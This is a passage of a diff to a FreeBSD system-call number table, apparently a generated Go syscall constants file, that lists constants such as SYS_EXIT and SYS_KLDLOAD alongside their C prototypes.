-- SYS_MINHERIT = 250 // { int minherit(void *addr, size_t len, \
-- SYS_RFORK = 251 // { int rfork(int flags); }
-- SYS_OPENBSD_POLL = 252 // { int openbsd_poll(struct pollfd *fds, \
-- SYS_ISSETUGID = 253 // { int issetugid(void); }
-- SYS_LCHOWN = 254 // { int lchown(char *path, int uid, int gid); }
-- SYS_GETDENTS = 272 // { int getdents(int fd, char *buf, \
-- SYS_LCHMOD = 274 // { int lchmod(char *path, mode_t mode); }
-- SYS_LUTIMES = 276 // { int lutimes(char *path, \
-- SYS_NSTAT = 278 // { int nstat(char *path, struct nstat *ub); }
-- SYS_NFSTAT = 279 // { int nfstat(int fd, struct nstat *sb); }
-- SYS_NLSTAT = 280 // { int nlstat(char *path, struct nstat *ub); }
-- SYS_PREADV = 289 // { ssize_t preadv(int fd, struct iovec *iovp, \
-- SYS_PWRITEV = 290 // { ssize_t pwritev(int fd, struct iovec *iovp, \
-- SYS_FHOPEN = 298 // { int fhopen(const struct fhandle *u_fhp, \
-- SYS_FHSTAT = 299 // { int fhstat(const struct fhandle *u_fhp, \
-- SYS_MODNEXT = 300 // { int modnext(int modid); }
-- SYS_MODSTAT = 301 // { int modstat(int modid, \
-- SYS_MODFNEXT = 302 // { int modfnext(int modid); }
-- SYS_MODFIND = 303 // { int modfind(const char *name); }
-- SYS_KLDLOAD = 304 // { int kldload(const char *file); }
-- SYS_KLDUNLOAD = 305 // { int kldunload(int fileid); }
-- SYS_KLDFIND = 306 // { int kldfind(const char *file); }
-- SYS_KLDNEXT = 307 // { int kldnext(int fileid); }
-- SYS_KLDSTAT = 308 // { int kldstat(int fileid, struct \
-- SYS_KLDFIRSTMOD = 309 // { int kldfirstmod(int fileid); }
-- SYS_GETSID = 310 // { int getsid(pid_t pid); }
-- SYS_SETRESUID = 311 // { int setresuid(uid_t ruid, uid_t euid, \
-- SYS_SETRESGID = 312 // { int setresgid(gid_t rgid, gid_t egid, \
-- SYS_YIELD = 321 // { int yield(void); }
-- SYS_MLOCKALL = 324 // { int mlockall(int how); }
-- SYS_MUNLOCKALL = 325 // { int munlockall(void); }
-- SYS___GETCWD = 326 // { int __getcwd(char *buf, u_int buflen); }
-- SYS_SCHED_SETPARAM = 327 // { int sched_setparam (pid_t pid, \
-- SYS_SCHED_GETPARAM = 328 // { int sched_getparam (pid_t pid, struct \
-- SYS_SCHED_SETSCHEDULER = 329 // { int sched_setscheduler (pid_t pid, int \
-- SYS_SCHED_GETSCHEDULER = 330 // { int sched_getscheduler (pid_t pid); }
-- SYS_SCHED_YIELD = 331 // { int sched_yield (void); }
-- SYS_SCHED_GET_PRIORITY_MAX = 332 // { int sched_get_priority_max (int policy); }
-- SYS_SCHED_GET_PRIORITY_MIN = 333 // { int sched_get_priority_min (int policy); }
-- SYS_SCHED_RR_GET_INTERVAL = 334 // { int sched_rr_get_interval (pid_t pid, \
-- SYS_UTRACE = 335 // { int utrace(const void *addr, size_t len); }
-- SYS_KLDSYM = 337 // { int kldsym(int fileid, int cmd, \
-- SYS_JAIL = 338 // { int jail(struct jail *jail); }
-- SYS_SIGPROCMASK = 340 // { int sigprocmask(int how, \
-- SYS_SIGSUSPEND = 341 // { int sigsuspend(const sigset_t *sigmask); }
-- SYS_SIGPENDING = 343 // { int sigpending(sigset_t *set); }
-- SYS_SIGTIMEDWAIT = 345 // { int sigtimedwait(const sigset_t *set, \
-- SYS_SIGWAITINFO = 346 // { int sigwaitinfo(const sigset_t *set, \
-- SYS___ACL_GET_FILE = 347 // { int __acl_get_file(const char *path, \
-- SYS___ACL_SET_FILE = 348 // { int __acl_set_file(const char *path, \
-- SYS___ACL_GET_FD = 349 // { int __acl_get_fd(int filedes, \
-- SYS___ACL_SET_FD = 350 // { int __acl_set_fd(int filedes, \
-- SYS___ACL_DELETE_FILE = 351 // { int __acl_delete_file(const char *path, \
-- SYS___ACL_DELETE_FD = 352 // { int __acl_delete_fd(int filedes, \
-- SYS___ACL_ACLCHECK_FILE = 353 // { int __acl_aclcheck_file(const char *path, \
-- SYS___ACL_ACLCHECK_FD = 354 // { int __acl_aclcheck_fd(int filedes, \
-- SYS_EXTATTRCTL = 355 // { int extattrctl(const char *path, int cmd, \
-- SYS_EXTATTR_SET_FILE = 356 // { ssize_t extattr_set_file( \
-- SYS_EXTATTR_GET_FILE = 357 // { ssize_t extattr_get_file( \
-- SYS_EXTATTR_DELETE_FILE = 358 // { int extattr_delete_file(const char *path, \
-- SYS_GETRESUID = 360 // { int getresuid(uid_t *ruid, uid_t *euid, \
-- SYS_GETRESGID = 361 // { int getresgid(gid_t *rgid, gid_t *egid, \
-- SYS_KQUEUE = 362 // { int kqueue(void); }
-- SYS_KEVENT = 363 // { int kevent(int fd, \
-- SYS_EXTATTR_SET_FD = 371 // { ssize_t extattr_set_fd(int fd, \
-- SYS_EXTATTR_GET_FD = 372 // { ssize_t extattr_get_fd(int fd, \
-- SYS_EXTATTR_DELETE_FD = 373 // { int extattr_delete_fd(int fd, \
-- SYS___SETUGID = 374 // { int __setugid(int flag); }
-- SYS_EACCESS = 376 // { int eaccess(char *path, int amode); }
-- SYS_NMOUNT = 378 // { int nmount(struct iovec *iovp, \
-- SYS___MAC_GET_PROC = 384 // { int __mac_get_proc(struct mac *mac_p); }
-- SYS___MAC_SET_PROC = 385 // { int __mac_set_proc(struct mac *mac_p); }
-- SYS___MAC_GET_FD = 386 // { int __mac_get_fd(int fd, \
-- SYS___MAC_GET_FILE = 387 // { int __mac_get_file(const char *path_p, \
-- SYS___MAC_SET_FD = 388 // { int __mac_set_fd(int fd, \
-- SYS___MAC_SET_FILE = 389 // { int __mac_set_file(const char *path_p, \
-- SYS_KENV = 390 // { int kenv(int what, const char *name, \
-- SYS_LCHFLAGS = 391 // { int lchflags(const char *path, \
-- SYS_UUIDGEN = 392 // { int uuidgen(struct uuid *store, \
-- SYS_SENDFILE = 393 // { int sendfile(int fd, int s, off_t offset, \
-- SYS_MAC_SYSCALL = 394 // { int mac_syscall(const char *policy, \
-- SYS_GETFSSTAT = 395 // { int getfsstat(struct statfs *buf, \
-- SYS_STATFS = 396 // { int statfs(char *path, \
-- SYS_FSTATFS = 397 // { int fstatfs(int fd, struct statfs *buf); }
-- SYS_FHSTATFS = 398 // { int fhstatfs(const struct fhandle *u_fhp, \
-- SYS___MAC_GET_PID = 409 // { int __mac_get_pid(pid_t pid, \
-- SYS___MAC_GET_LINK = 410 // { int __mac_get_link(const char *path_p, \
-- SYS___MAC_SET_LINK = 411 // { int __mac_set_link(const char *path_p, \
-- SYS_EXTATTR_SET_LINK = 412 // { ssize_t extattr_set_link( \
-- SYS_EXTATTR_GET_LINK = 413 // { ssize_t extattr_get_link( \
-- SYS_EXTATTR_DELETE_LINK = 414 // { int extattr_delete_link( \
-- SYS___MAC_EXECVE = 415 // { int __mac_execve(char *fname, char **argv, \
-- SYS_SIGACTION = 416 // { int sigaction(int sig, \
-- SYS_SIGRETURN = 417 // { int sigreturn( \
-- SYS_GETCONTEXT = 421 // { int getcontext(struct __ucontext *ucp); }
-- SYS_SETCONTEXT = 422 // { int setcontext( \
-- SYS_SWAPCONTEXT = 423 // { int swapcontext(struct __ucontext *oucp, \
-- SYS_SWAPOFF = 424 // { int swapoff(const char *name); }
-- SYS___ACL_GET_LINK = 425 // { int __acl_get_link(const char *path, \
-- SYS___ACL_SET_LINK = 426 // { int __acl_set_link(const char *path, \
-- SYS___ACL_DELETE_LINK = 427 // { int __acl_delete_link(const char *path, \
-- SYS___ACL_ACLCHECK_LINK = 428 // { int __acl_aclcheck_link(const char *path, \
-- SYS_SIGWAIT = 429 // { int sigwait(const sigset_t *set, \
-- SYS_THR_CREATE = 430 // { int thr_create(ucontext_t *ctx, long *id, \
-- SYS_THR_EXIT = 431 // { void thr_exit(long *state); }
-- SYS_THR_SELF = 432 // { int thr_self(long *id); }
-- SYS_THR_KILL = 433 // { int thr_kill(long id, int sig); }
-- SYS__UMTX_LOCK = 434 // { int _umtx_lock(struct umtx *umtx); }
-- SYS__UMTX_UNLOCK = 435 // { int _umtx_unlock(struct umtx *umtx); }
-- SYS_JAIL_ATTACH = 436 // { int jail_attach(int jid); }
-- SYS_EXTATTR_LIST_FD = 437 // { ssize_t extattr_list_fd(int fd, \
-- SYS_EXTATTR_LIST_FILE = 438 // { ssize_t extattr_list_file( \
-- SYS_EXTATTR_LIST_LINK = 439 // { ssize_t extattr_list_link( \
-- SYS_THR_SUSPEND = 442 // { int thr_suspend( \
-- SYS_THR_WAKE = 443 // { int thr_wake(long id); }
-- SYS_KLDUNLOADF = 444 // { int kldunloadf(int fileid, int flags); }
-- SYS_AUDIT = 445 // { int audit(const void *record, \
-- SYS_AUDITON = 446 // { int auditon(int cmd, void *data, \
-- SYS_GETAUID = 447 // { int getauid(uid_t *auid); }
-- SYS_SETAUID = 448 // { int setauid(uid_t *auid); }
-- SYS_GETAUDIT = 449 // { int getaudit(struct auditinfo *auditinfo); }
-- SYS_SETAUDIT = 450 // { int setaudit(struct auditinfo *auditinfo); }
-- SYS_GETAUDIT_ADDR = 451 // { int getaudit_addr( \
-- SYS_SETAUDIT_ADDR = 452 // { int setaudit_addr( \
-- SYS_AUDITCTL = 453 // { int auditctl(char *path); }
-- SYS__UMTX_OP = 454 // { int _umtx_op(void *obj, int op, \
-- SYS_THR_NEW = 455 // { int thr_new(struct thr_param *param, \
-- SYS_SIGQUEUE = 456 // { int sigqueue(pid_t pid, int signum, void *value); }
-- SYS_ABORT2 = 463 // { int abort2(const char *why, int nargs, void **args); }
-- SYS_THR_SET_NAME = 464 // { int thr_set_name(long id, const char *name); }
-- SYS_RTPRIO_THREAD = 466 // { int rtprio_thread(int function, \
-- SYS_PREAD = 475 // { ssize_t pread(int fd, void *buf, \
-- SYS_PWRITE = 476 // { ssize_t pwrite(int fd, const void *buf, \
-- SYS_MMAP = 477 // { caddr_t mmap(caddr_t addr, size_t len, \
-- SYS_LSEEK = 478 // { off_t lseek(int fd, off_t offset, \
-- SYS_TRUNCATE = 479 // { int truncate(char *path, off_t length); }
-- SYS_FTRUNCATE = 480 // { int ftruncate(int fd, off_t length); }
-- SYS_THR_KILL2 = 481 // { int thr_kill2(pid_t pid, long id, int sig); }
-- SYS_SHM_OPEN = 482 // { int shm_open(const char *path, int flags, \
-- SYS_SHM_UNLINK = 483 // { int shm_unlink(const char *path); }
-- SYS_CPUSET = 484 // { int cpuset(cpusetid_t *setid); }
-- SYS_CPUSET_SETID = 485 // { int cpuset_setid(cpuwhich_t which, id_t id, \
-- SYS_CPUSET_GETID = 486 // { int cpuset_getid(cpulevel_t level, \
-- SYS_CPUSET_GETAFFINITY = 487 // { int cpuset_getaffinity(cpulevel_t level, \
-- SYS_CPUSET_SETAFFINITY = 488 // { int cpuset_setaffinity(cpulevel_t level, \
-- SYS_FACCESSAT = 489 // { int faccessat(int fd, char *path, int amode, \
-- SYS_FCHMODAT = 490 // { int fchmodat(int fd, char *path, mode_t mode, \
-- SYS_FCHOWNAT = 491 // { int fchownat(int fd, char *path, uid_t uid, \
-- SYS_FEXECVE = 492 // { int fexecve(int fd, char **argv, \
-- SYS_FSTATAT = 493 // { int fstatat(int fd, char *path, \
-- SYS_FUTIMESAT = 494 // { int futimesat(int fd, char *path, \
-- SYS_LINKAT = 495 // { int linkat(int fd1, char *path1, int fd2, \
-- SYS_MKDIRAT = 496 // { int mkdirat(int fd, char *path, mode_t mode); }
-- SYS_MKFIFOAT = 497 // { int mkfifoat(int fd, char *path, mode_t mode); }
-- SYS_MKNODAT = 498 // { int mknodat(int fd, char *path, mode_t mode, \
-- SYS_OPENAT = 499 // { int openat(int fd, char *path, int flag, \
-- SYS_READLINKAT = 500 // { int readlinkat(int fd, char *path, char *buf, \
-- SYS_RENAMEAT = 501 // { int renameat(int oldfd, char *old, int newfd, \
-- SYS_SYMLINKAT = 502 // { int symlinkat(char *path1, int fd, \
-- SYS_UNLINKAT = 503 // { int unlinkat(int fd, char *path, int flag); }
-- SYS_POSIX_OPENPT = 504 // { int posix_openpt(int flags); }
-- SYS_JAIL_GET = 506 // { int jail_get(struct iovec *iovp, \
-- SYS_JAIL_SET = 507 // { int jail_set(struct iovec *iovp, \
-- SYS_JAIL_REMOVE = 508 // { int jail_remove(int jid); }
-- SYS_CLOSEFROM = 509 // { int closefrom(int lowfd); }
-- SYS_LPATHCONF = 513 // { int lpathconf(char *path, int name); }
-- SYS___CAP_RIGHTS_GET = 515 // { int __cap_rights_get(int version, \
-- SYS_CAP_ENTER = 516 // { int cap_enter(void); }
-- SYS_CAP_GETMODE = 517 // { int cap_getmode(u_int *modep); }
-- SYS_PDFORK = 518 // { int pdfork(int *fdp, int flags); }
-- SYS_PDKILL = 519 // { int pdkill(int fd, int signum); }
-- SYS_PDGETPID = 520 // { int pdgetpid(int fd, pid_t *pidp); }
-- SYS_PSELECT = 522 // { int pselect(int nd, fd_set *in, \
-- SYS_GETLOGINCLASS = 523 // { int getloginclass(char *namebuf, \
-- SYS_SETLOGINCLASS = 524 // { int setloginclass(const char *namebuf); }
-- SYS_RCTL_GET_RACCT = 525 // { int rctl_get_racct(const void *inbufp, \
-- SYS_RCTL_GET_RULES = 526 // { int rctl_get_rules(const void *inbufp, \
-- SYS_RCTL_GET_LIMITS = 527 // { int rctl_get_limits(const void *inbufp, \
-- SYS_RCTL_ADD_RULE = 528 // { int rctl_add_rule(const void *inbufp, \
-- SYS_RCTL_REMOVE_RULE = 529 // { int rctl_remove_rule(const void *inbufp, \
-- SYS_POSIX_FALLOCATE = 530 // { int posix_fallocate(int fd, \
-- SYS_POSIX_FADVISE = 531 // { int posix_fadvise(int fd, off_t offset, \
-- SYS_WAIT6 = 532 // { int wait6(idtype_t idtype, id_t id, \
-- SYS_CAP_RIGHTS_LIMIT = 533 // { int cap_rights_limit(int fd, \
-- SYS_CAP_IOCTLS_LIMIT = 534 // { int cap_ioctls_limit(int fd, \
-- SYS_CAP_IOCTLS_GET = 535 // { ssize_t cap_ioctls_get(int fd, \
-- SYS_CAP_FCNTLS_LIMIT = 536 // { int cap_fcntls_limit(int fd, \
-- SYS_CAP_FCNTLS_GET = 537 // { int cap_fcntls_get(int fd, \
-- SYS_BINDAT = 538 // { int bindat(int fd, int s, caddr_t name, \
-- SYS_CONNECTAT = 539 // { int connectat(int fd, int s, caddr_t name, \
-- SYS_CHFLAGSAT = 540 // { int chflagsat(int fd, const char *path, \
-- SYS_ACCEPT4 = 541 // { int accept4(int s, \
-- SYS_PIPE2 = 542 // { int pipe2(int *fildes, int flags); }
-- SYS_PROCCTL = 544 // { int procctl(idtype_t idtype, id_t id, \
-- SYS_PPOLL = 545 // { int ppoll(struct pollfd *fds, u_int nfds, \
-- SYS_FUTIMENS = 546 // { int futimens(int fd, \
-- SYS_UTIMENSAT = 547 // { int utimensat(int fd, \
-+ SYS_EXIT = 1 // { void sys_exit(int rval); } exit sys_exit_args void
-+ SYS_FORK = 2 // { int fork(void); }
-+ SYS_READ = 3 // { ssize_t read(int fd, void *buf, size_t nbyte); }
-+ SYS_WRITE = 4 // { ssize_t write(int fd, const void *buf, size_t nbyte); }
-+ SYS_OPEN = 5 // { int open(char *path, int flags, int mode); }
-+ SYS_CLOSE = 6 // { int close(int fd); }
-+ SYS_WAIT4 = 7 // { int wait4(int pid, int *status, int options, struct rusage *rusage); }
-+ SYS_LINK = 9 // { int link(char *path, char *link); }
-+ SYS_UNLINK = 10 // { int unlink(char *path); }
-+ SYS_CHDIR = 12 // { int chdir(char *path); }
-+ SYS_FCHDIR = 13 // { int fchdir(int fd); }
-+ SYS_MKNOD = 14 // { int mknod(char *path, int mode, int dev); }
-+ SYS_CHMOD = 15 // { int chmod(char *path, int mode); }
-+ SYS_CHOWN = 16 // { int chown(char *path, int uid, int gid); }
-+ SYS_OBREAK = 17 // { int obreak(char *nsize); } break obreak_args int
-+ SYS_GETPID = 20 // { pid_t getpid(void); }
-+ SYS_MOUNT = 21 // { int mount(char *type, char *path, int flags, caddr_t data); }
-+ SYS_UNMOUNT = 22 // { int unmount(char *path, int flags); }
-+ SYS_SETUID = 23 // { int setuid(uid_t uid); }
-+ SYS_GETUID = 24 // { uid_t getuid(void); }
-+ SYS_GETEUID = 25 // { uid_t geteuid(void); }
-+ SYS_PTRACE = 26 // { int ptrace(int req, pid_t pid, caddr_t addr, int data); }
-+ SYS_RECVMSG = 27 // { int recvmsg(int s, struct msghdr *msg, int flags); }
-+ SYS_SENDMSG = 28 // { int sendmsg(int s, struct msghdr *msg, int flags); }
-+ SYS_RECVFROM = 29 // { int recvfrom(int s, caddr_t buf, size_t len, int flags, struct sockaddr * __restrict from, __socklen_t * __restrict fromlenaddr); }
-+ SYS_ACCEPT = 30 // { int accept(int s, struct sockaddr * __restrict name, __socklen_t * __restrict anamelen); }
-+ SYS_GETPEERNAME = 31 // { int getpeername(int fdes, struct sockaddr * __restrict asa, __socklen_t * __restrict alen); }
-+ SYS_GETSOCKNAME = 32 // { int getsockname(int fdes, struct sockaddr * __restrict asa, __socklen_t * __restrict alen); }
-+ SYS_ACCESS = 33 // { int access(char *path, int amode); }
-+ SYS_CHFLAGS = 34 // { int chflags(const char *path, u_long flags); }
-+ SYS_FCHFLAGS = 35 // { int fchflags(int fd, u_long flags); }
-+ SYS_SYNC = 36 // { int sync(void); }
-+ SYS_KILL = 37 // { int kill(int pid, int signum); }
-+ SYS_GETPPID = 39 // { pid_t getppid(void); }
-+ SYS_DUP = 41 // { int dup(u_int fd); }
-+ SYS_PIPE = 42 // { int pipe(void); }
-+ SYS_GETEGID = 43 // { gid_t getegid(void); }
-+ SYS_PROFIL = 44 // { int profil(caddr_t samples, size_t size, size_t offset, u_int scale); }
-+ SYS_KTRACE = 45 // { int ktrace(const char *fname, int ops, int facs, int pid); }
-+ SYS_GETGID = 47 // { gid_t getgid(void); }
-+ SYS_GETLOGIN = 49 // { int getlogin(char *namebuf, u_int namelen); }
-+ SYS_SETLOGIN = 50 // { int setlogin(char *namebuf); }
-+ SYS_ACCT = 51 // { int acct(char *path); }
-+ SYS_SIGALTSTACK = 53 // { int sigaltstack(stack_t *ss, stack_t *oss); }
-+ SYS_IOCTL = 54 // { int ioctl(int fd, u_long com, caddr_t data); }
-+ SYS_REBOOT = 55 // { int reboot(int opt); }
-+ SYS_REVOKE = 56 // { int revoke(char *path); }
-+ SYS_SYMLINK = 57 // { int symlink(char *path, char *link); }
-+ SYS_READLINK = 58 // { ssize_t readlink(char *path, char *buf, size_t count); }
-+ SYS_EXECVE = 59 // { int execve(char *fname, char **argv, char **envv); }
-+ SYS_UMASK = 60 // { int umask(int newmask); } umask umask_args int
-+ SYS_CHROOT = 61 // { int chroot(char *path); }
-+ SYS_MSYNC = 65 // { int msync(void *addr, size_t len, int flags); }
-+ SYS_VFORK = 66 // { int vfork(void); }
-+ SYS_SBRK = 69 // { int sbrk(int incr); }
-+ SYS_SSTK = 70 // { int sstk(int incr); }
-+ SYS_OVADVISE = 72 // { int ovadvise(int anom); } vadvise ovadvise_args int
-+ SYS_MUNMAP = 73 // { int munmap(void *addr, size_t len); }
-+ SYS_MPROTECT = 74 // { int mprotect(const void *addr, size_t len, int prot); }
-+ SYS_MADVISE = 75 // { int madvise(void *addr, size_t len, int behav); }
-+ SYS_MINCORE = 78 // { int mincore(const void *addr, size_t len, char *vec); }
-+ SYS_GETGROUPS = 79 // { int getgroups(u_int gidsetsize, gid_t *gidset); }
-+ SYS_SETGROUPS = 80 // { int setgroups(u_int gidsetsize, gid_t *gidset); }
-+ SYS_GETPGRP = 81 // { int getpgrp(void); }
-+ SYS_SETPGID = 82 // { int setpgid(int pid, int pgid); }
-+ SYS_SETITIMER = 83 // { int setitimer(u_int which, struct itimerval *itv, struct itimerval *oitv); }
-+ SYS_SWAPON = 85 // { int swapon(char *name); }
-+ SYS_GETITIMER = 86 // { int getitimer(u_int which, struct itimerval *itv); }
-+ SYS_GETDTABLESIZE = 89 // { int getdtablesize(void); }
-+ SYS_DUP2 = 90 // { int dup2(u_int from, u_int to); }
-+ SYS_FCNTL = 92 // { int fcntl(int fd, int cmd, long arg); }
-+ SYS_SELECT = 93 // { int select(int nd, fd_set *in, fd_set *ou, fd_set *ex, struct timeval *tv); }
-+ SYS_FSYNC = 95 // { int fsync(int fd); }
-+ SYS_SETPRIORITY = 96 // { int setpriority(int which, int who, int prio); }
-+ SYS_SOCKET = 97 // { int socket(int domain, int type, int protocol); }
-+ SYS_CONNECT = 98 // { int connect(int s, caddr_t name, int namelen); }
-+ SYS_GETPRIORITY = 100 // { int getpriority(int which, int who); }
-+ SYS_BIND = 104 // { int bind(int s, caddr_t name, int namelen); }
-+ SYS_SETSOCKOPT = 105 // { int setsockopt(int s, int level, int name, caddr_t val, int valsize); }
-+ SYS_LISTEN = 106 // { int listen(int s, int backlog); }
-+ SYS_GETTIMEOFDAY = 116 // { int gettimeofday(struct timeval *tp, struct timezone *tzp); }
-+ SYS_GETRUSAGE = 117 // { int getrusage(int who, struct rusage *rusage); }
-+ SYS_GETSOCKOPT = 118 // { int getsockopt(int s, int level, int name, caddr_t val, int *avalsize); }
-+ SYS_READV = 120 // { int readv(int fd, struct iovec *iovp, u_int iovcnt); }
-+ SYS_WRITEV = 121 // { int writev(int fd, struct iovec *iovp, u_int iovcnt); }
-+ SYS_SETTIMEOFDAY = 122 // { int settimeofday(struct timeval *tv, struct timezone *tzp); }
-+ SYS_FCHOWN = 123 // { int fchown(int fd, int uid, int gid); }
-+ SYS_FCHMOD = 124 // { int fchmod(int fd, int mode); }
-+ SYS_SETREUID = 126 // { int setreuid(int ruid, int euid); }
-+ SYS_SETREGID = 127 // { int setregid(int rgid, int egid); }
-+ SYS_RENAME = 128 // { int rename(char *from, char *to); }
-+ SYS_FLOCK = 131 // { int flock(int fd, int how); }
-+ SYS_MKFIFO = 132 // { int mkfifo(char *path, int mode); }
-+ SYS_SENDTO = 133 // { int sendto(int s, caddr_t buf, size_t len, int flags, caddr_t to, int tolen); }
-+ SYS_SHUTDOWN = 134 // { int shutdown(int s, int how); }
-+ SYS_SOCKETPAIR = 135 // { int socketpair(int domain, int type, int protocol, int *rsv); }
-+ SYS_MKDIR = 136 // { int mkdir(char *path, int mode); }
-+ SYS_RMDIR = 137 // { int rmdir(char *path); }
-+ SYS_UTIMES = 138 // { int utimes(char *path, struct timeval *tptr); }
-+ SYS_ADJTIME = 140 // { int adjtime(struct timeval *delta, struct timeval *olddelta); }
-+ SYS_SETSID = 147 // { int setsid(void); }
-+ SYS_QUOTACTL = 148 // { int quotactl(char *path, int cmd, int uid, caddr_t arg); }
-+ SYS_NLM_SYSCALL = 154 // { int nlm_syscall(int debug_level, int grace_period, int addr_count, char **addrs); }
-+ SYS_NFSSVC = 155 // { int nfssvc(int flag, caddr_t argp); }
-+ SYS_LGETFH = 160 // { int lgetfh(char *fname, struct fhandle *fhp); }
-+ SYS_GETFH = 161 // { int getfh(char *fname, struct fhandle *fhp); }
-+ SYS_SYSARCH = 165 // { int sysarch(int op, char *parms); }
-+ SYS_RTPRIO = 166 // { int rtprio(int function, pid_t pid, struct rtprio *rtp); }
-+ SYS_SEMSYS = 169 // { int semsys(int which, int a2, int a3, int a4, int a5); }
-+ SYS_MSGSYS = 170 // { int msgsys(int which, int a2, int a3, int a4, int a5, int a6); }
-+ SYS_SHMSYS = 171 // { int shmsys(int which, int a2, int a3, int a4); }
-+ SYS_SETFIB = 175 // { int setfib(int fibnum); }
-+ SYS_NTP_ADJTIME = 176 // { int ntp_adjtime(struct timex *tp); }
-+ SYS_SETGID = 181 // { int setgid(gid_t gid); }
-+ SYS_SETEGID = 182 // { int setegid(gid_t egid); }
-+ SYS_SETEUID = 183 // { int seteuid(uid_t euid); }
-+ SYS_STAT = 188 // { int stat(char *path, struct stat *ub); }
-+ SYS_FSTAT = 189 // { int fstat(int fd, struct stat *sb); }
-+ SYS_LSTAT = 190 // { int lstat(char *path, struct stat *ub); }
-+ SYS_PATHCONF = 191 // { int pathconf(char *path, int name); }
-+ SYS_FPATHCONF = 192 // { int fpathconf(int fd, int name); }
-+ SYS_GETRLIMIT = 194 // { int getrlimit(u_int which, struct rlimit *rlp); } getrlimit __getrlimit_args int
-+ SYS_SETRLIMIT = 195 // { int setrlimit(u_int which, struct rlimit *rlp); } setrlimit __setrlimit_args int
-+ SYS_GETDIRENTRIES = 196 // { int getdirentries(int fd, char *buf, u_int count, long *basep); }
-+ SYS___SYSCTL = 202 // { int __sysctl(int *name, u_int namelen, void *old, size_t *oldlenp, void *new, size_t newlen); } __sysctl sysctl_args int
-+ SYS_MLOCK = 203 // { int mlock(const void *addr, size_t len); }
-+ SYS_MUNLOCK = 204 // { int munlock(const void *addr, size_t len); }
-+ SYS_UNDELETE = 205 // { int undelete(char *path); }
-+ SYS_FUTIMES = 206 // { int futimes(int fd, struct timeval *tptr); }
-+ SYS_GETPGID = 207 // { int getpgid(pid_t pid); }
-+ SYS_POLL = 209 // { int poll(struct pollfd *fds, u_int nfds, int timeout); }
-+ SYS_SEMGET = 221 // { int semget(key_t key, int nsems, int semflg); }
-+ SYS_SEMOP = 222 // { int semop(int semid, struct sembuf *sops, size_t nsops); }
-+ SYS_MSGGET = 225 // { int msgget(key_t key, int msgflg); }
-+ SYS_MSGSND = 226 // { int msgsnd(int msqid, const void *msgp, size_t msgsz, int msgflg); }
-+ SYS_MSGRCV = 227 // { int msgrcv(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg); }
-+ SYS_SHMAT = 228 // { int shmat(int shmid, const void *shmaddr, int shmflg); }
-+ SYS_SHMDT = 230 // { int shmdt(const void *shmaddr); }
-+ SYS_SHMGET = 231 // { int shmget(key_t key, size_t size, int shmflg); }
-+ SYS_CLOCK_GETTIME = 232 // { int clock_gettime(clockid_t clock_id, struct timespec *tp); }
-+ SYS_CLOCK_SETTIME = 233 // { int clock_settime( clockid_t clock_id, const struct timespec *tp); }
-+ SYS_CLOCK_GETRES = 234 // { int clock_getres(clockid_t clock_id, struct timespec *tp); }
-+ SYS_KTIMER_CREATE = 235 // { int ktimer_create(clockid_t clock_id, struct sigevent *evp, int *timerid); }
-+ SYS_KTIMER_DELETE = 236 // { int ktimer_delete(int timerid); }
-+ SYS_KTIMER_SETTIME = 237 // { int ktimer_settime(int timerid, int flags, const struct itimerspec *value, struct itimerspec *ovalue); }
-+ SYS_KTIMER_GETTIME = 238 // { int ktimer_gettime(int timerid, struct itimerspec *value); }
-+ SYS_KTIMER_GETOVERRUN = 239 // { int ktimer_getoverrun(int timerid); }
-+ SYS_NANOSLEEP = 240 // { int nanosleep(const struct timespec *rqtp, struct timespec *rmtp); }
-+ SYS_FFCLOCK_GETCOUNTER = 241 // { int ffclock_getcounter(ffcounter *ffcount); }
-+ SYS_FFCLOCK_SETESTIMATE = 242 // { int ffclock_setestimate( struct ffclock_estimate *cest); }
-+ SYS_FFCLOCK_GETESTIMATE = 243 // { int ffclock_getestimate( struct ffclock_estimate *cest); }
-+ SYS_CLOCK_NANOSLEEP = 244 // { int clock_nanosleep(clockid_t clock_id, int flags, const struct timespec *rqtp, struct timespec *rmtp); }
-+ SYS_CLOCK_GETCPUCLOCKID2 = 247 // { int clock_getcpuclockid2(id_t id,int which, clockid_t *clock_id); }
-+ SYS_NTP_GETTIME = 248 // { int ntp_gettime(struct ntptimeval *ntvp); }
-+ SYS_MINHERIT = 250 // { int minherit(void *addr, size_t len, int inherit); }
-+ SYS_RFORK = 251 // { int rfork(int flags); }
-+ SYS_OPENBSD_POLL = 252 // { int openbsd_poll(struct pollfd *fds, u_int nfds, int timeout); }
-+ SYS_ISSETUGID = 253 // { int issetugid(void); }
-+ SYS_LCHOWN = 254 // { int lchown(char *path, int uid, int gid); }
-+ SYS_AIO_READ = 255 // { int aio_read(struct aiocb *aiocbp); }
-+ SYS_AIO_WRITE = 256 // { int aio_write(struct aiocb *aiocbp); }
-+ SYS_LIO_LISTIO = 257 // { int lio_listio(int mode, struct aiocb * const *acb_list, int nent, struct sigevent *sig); }
-+ SYS_GETDENTS = 272 // { int getdents(int fd, char *buf, size_t count); }
-+ SYS_LCHMOD = 274 // { int lchmod(char *path, mode_t mode); }
-+ SYS_LUTIMES = 276 // { int lutimes(char *path, struct timeval *tptr); }
-+ SYS_NSTAT = 278 // { int nstat(char *path, struct nstat *ub); }
-+ SYS_NFSTAT = 279 // { int nfstat(int fd, struct nstat *sb); }
-+ SYS_NLSTAT = 280 // { int nlstat(char *path, struct nstat *ub); }
-+ SYS_PREADV = 289 // { ssize_t preadv(int fd, struct iovec *iovp, u_int iovcnt, off_t offset); }
-+ SYS_PWRITEV = 290 // { ssize_t pwritev(int fd, struct iovec *iovp, u_int iovcnt, off_t offset); }
-+ SYS_FHOPEN = 298 // { int fhopen(const struct fhandle *u_fhp, int flags); }
-+ SYS_FHSTAT = 299 // { int fhstat(const struct fhandle *u_fhp, struct stat *sb); }
-+ SYS_MODNEXT = 300 // { int modnext(int modid); }
-+ SYS_MODSTAT = 301 // { int modstat(int modid, struct module_stat *stat); }
-+ SYS_MODFNEXT = 302 // { int modfnext(int modid); }
-+ SYS_MODFIND = 303 // { int modfind(const char *name); }
-+ SYS_KLDLOAD = 304 // { int kldload(const char *file); }
-+ SYS_KLDUNLOAD = 305 // { int kldunload(int fileid); }
-+ SYS_KLDFIND = 306 // { int kldfind(const char *file); }
-+ SYS_KLDNEXT = 307 // { int kldnext(int fileid); }
-+ SYS_KLDSTAT = 308 // { int kldstat(int fileid, struct kld_file_stat* stat); }
-+ SYS_KLDFIRSTMOD = 309 // { int kldfirstmod(int fileid); }
-+ SYS_GETSID = 310 // { int getsid(pid_t pid); }
